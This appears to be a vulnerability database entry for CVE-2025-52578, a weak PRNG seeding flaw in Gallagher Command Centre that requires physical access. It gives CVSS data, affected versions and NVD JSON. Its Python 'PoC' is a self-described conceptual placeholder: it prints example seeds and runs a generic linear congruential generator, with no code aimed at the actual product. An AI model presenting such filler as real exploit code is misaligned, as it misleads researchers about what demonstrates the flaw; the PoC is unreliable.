Security Vulnerability Report
中文
CVE-2025-52578 CVSS 5.7 MEDIUM

CVE-2025-52578

Published: 2025-11-18 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

Incorrect Usage of Seeds in Pseudo-Random Number Generator (CWE- 335) vulnerability in the High Sec ELM may allow a sophisticated attacker with physical access, to compromise internal device communications. This issue affects Command Centre Server: 9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)), all versions of 9.00 and prior.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Command Centre Server 9.30 < vCR9.30.251028a (9.30.2881 MR3)
Command Centre Server 9.20 < vCR9.20.251028a (9.20.3265 MR5)
Command Centre Server 9.10 < vCR9.10.251028a (9.10.4135 MR8)
Command Centre Server 9.00 及所有更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52578 PoC - PRNG Seed Analysis Framework # Note: This is a conceptual PoC demonstrating the vulnerability pattern # Actual exploitation requires physical access to target device import struct import time from Crypto.Random import get_random_bytes class GallagherPRNGAnalyzer: def __init__(self, target_version): self.target_version = target_version self.entropy_sources = [] self.weak_seeds = [] def analyze_seed_pattern(self): """ Analyze potential weak seed patterns in Gallagher PRNG Common weak patterns: timestamp, device_id, sequential counters """ print(f"[*] Analyzing PRNG seeds for version {self.target_version}") # Weak seed patterns to check weak_patterns = { 'timestamp': int(time.time()), 'device_id': 0x47414C4C41474845, # Example device ID 'counter': 0 } print("[+] Identified weak seed patterns:") for pattern, value in weak_patterns.items(): print(f" - {pattern}: {hex(value)}") self.weak_seeds.append(value) return self.weak_seeds def predict_prng_output(self, seed, count=16): """ Attempt to predict PRNG output given a weak seed This simulates the attacker's capability to predict random numbers """ print(f"[*] Predicting PRNG output with seed: {hex(seed)}") # Simplified PRNG prediction (actual implementation may vary) predicted = [] state = seed for _ in range(count): state = (state * 1103515245 + 12345) & 0x7fffffff predicted.append(state) print(f"[+] Predicted {count} PRNG outputs") return predicted def verify_physical_access_required(self): """ Verify the attack vector requires physical access """ print("[!] ATTENTION: This vulnerability requires physical access to target device") print("[!] Attack vector: AV:P (Physical)") print("[!] Attack complexity: High") return True def main(): print("=" * 60) print("CVE-2025-52578 - Gallagher Command Centre PRNG Seed Vulnerability") print("=" * 60) analyzer = GallagherPRNGAnalyzer("9.30") # Step 1: Analyze seed patterns seeds = analyzer.analyze_seed_pattern() # Step 2: Attempt prediction if seeds: predicted = analyzer.predict_prng_output(seeds[0]) print(f"[+] First 4 predicted values: {[hex(p) for p in predicted[:4]]}") # Step 3: Verify requirements analyzer.verify_physical_access_required() print("\n[*] Note: This is a simplified demonstration") print("[*] Actual exploitation requires detailed firmware analysis") print("[*] and physical access to the target Gallagher device") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52578", "sourceIdentifier": "[email protected]", "published": "2025-11-18T04:15:44.330", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Usage of Seeds in Pseudo-Random Number Generator (CWE- 335) vulnerability in the High Sec ELM may allow a sophisticated attacker with physical access, to compromise internal device communications.\n\nThis issue affects Command Centre Server: \n\n9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)), all versions of 9.00 and prior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-335"}]}], "references": [{"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-52578", "source": "[email protected]"}]}}